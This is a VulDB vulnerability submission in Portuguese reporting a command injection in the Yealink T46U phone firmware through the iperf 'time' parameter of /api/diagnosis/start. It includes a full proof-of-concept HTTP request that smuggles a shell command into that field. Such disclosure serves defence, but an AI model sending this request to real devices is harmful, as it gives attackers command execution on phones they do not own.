| Título | yealink T46U 108.86.0.118 Command Injection |
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| Descrição | Yealink T46U phone firmware `x.x.x.x` contains a command injection vulnerability in the Web FastCGI service `fcgiserver`. The vulnerable endpoint is:
```text
POST /api/diagnosis/start
```
The endpoint is handled by `mod_diagnose.CommandShellByType()`. In the iperf client branch, the `time` request parameter is concatenated into a shell command without quoting or validation when the request includes a non-empty `protocal` parameter.
poc
POST /api/diagnosis/start?p=Setting&t=<timestamp> HTTP/1.1
Host: <target>
Cookie: JSESSIONID=<valid-session>
X-Csrftoken: <valid-token>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
command=iperf&mode=client&address=127.0.0.1&protocal=IPv4&time=1;id>/tmp/diagnose_iperf_poc |
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| Fonte | ⚠️ http://cdn2.v50to.cc/T46U/T46U_mod_diagnose_CommandShellByType_iperf_time_cmd_injection.zip |
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| Utilizador | CookedMelon (UID 52513) |
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| Submissão | 20/05/2026 17h33 (há 5 meses) |
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| Moderação | 14/06/2026 15h54 (25 days later) |
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| Estado | Aceite |
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| Entrada VulDB | 370862 [Yealink SIP-T46U 108.86.0.118 Web FastCGI Service /api/diagnosis/start mod_diagnose.CommandShellByType time Elevação de Privilégios] |
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| Pontos | 20 |
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